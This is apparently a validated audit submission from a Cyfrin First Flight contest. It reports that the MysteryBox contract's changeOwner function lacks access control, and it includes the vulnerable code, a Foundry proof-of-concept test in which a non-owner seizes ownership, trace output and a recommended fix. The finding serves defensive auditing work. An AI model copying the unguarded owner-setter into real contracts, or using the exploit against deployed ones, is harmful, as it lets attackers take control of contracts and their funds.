Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Open Door: Unrestricted Ownership Transfer in MysteryBox Contract

Summary

The changeOwner function in the MysteryBox contract lacks proper access control, allowing any user to change the contract's ownership. This vulnerability poses a significant security risk, as it enables unauthorized users to assume control over the contract and its assets.

Vulnerability Details

https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L111-L113

The changeOwner function does not implement any access control checks, such as verifying that the caller is the current owner. This allows any address to call the function and set themselves or another address as the new owner.

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

The function is defined without any access restrictions, meaning it can be invoked by any address at any time.

Exploit:

A malicious actor can call changeOwner to set themselves as the owner, gaining full control over the contract. This includes the ability to withdraw funds, modify contract parameters, and disrupt the contract's intended operations.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
contract TestChangeOwner is Test {
MysteryBox mysteryBox;
address originalOwner;
address newOwner = address(0x1234);
function setUp() public {
// Deploy the MysteryBox contract with some initial ETH
mysteryBox = new MysteryBox{value: 0.1 ether}();
originalOwner = mysteryBox.owner();
}
function testChangeOwnerByNonOwner() public {
// Ensure the original owner is set correctly
assertEq(mysteryBox.owner(), originalOwner);
// Change the owner from a non-owner account
vm.prank(newOwner);
mysteryBox.changeOwner(newOwner);
// Verify that the owner has changed
assertEq(mysteryBox.owner(), newOwner);
}
}
forge test --match-path test/TestChangeOwner.t.sol -vvvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.26
[⠘] Solc 0.8.26 finished in 1.50s
Compiler run successful!
Ran 1 test for test/TestChangeOwner.t.sol:TestChangeOwner
[PASS] testChangeOwnerByNonOwner() (gas: 20719)
Traces:
[20719] TestChangeOwner::testChangeOwnerByNonOwner()
├─ [2404] MysteryBox::owner() [staticcall]
│ └─ ← [Return] TestChangeOwner: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
├─ [0] VM::assertEq(TestChangeOwner: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], TestChangeOwner: [0x7FA9385bE102ac3EAc297483Dd6
233D62b3e1496]) [staticcall] │ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000001234)
│ └─ ← [Return]
├─ [3381] MysteryBox::changeOwner(0x0000000000000000000000000000000000001234)
│ └─ ← [Stop]
├─ [404] MysteryBox::owner() [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000001234
├─ [0] VM::assertEq(0x0000000000000000000000000000000000001234, 0x0000000000000000000000000000000000001234) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 54.99ms (11.41ms CPU time)
Ran 1 test suite in 400.85ms (54.99ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

The original owner loses control over the contract, including the ability to manage funds and settings.

Tools Used

  • Manual review

  • Foundry

Recommendations

Use a modifier to restrict access to the changeOwner function, ensuring only the current owner can execute it.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!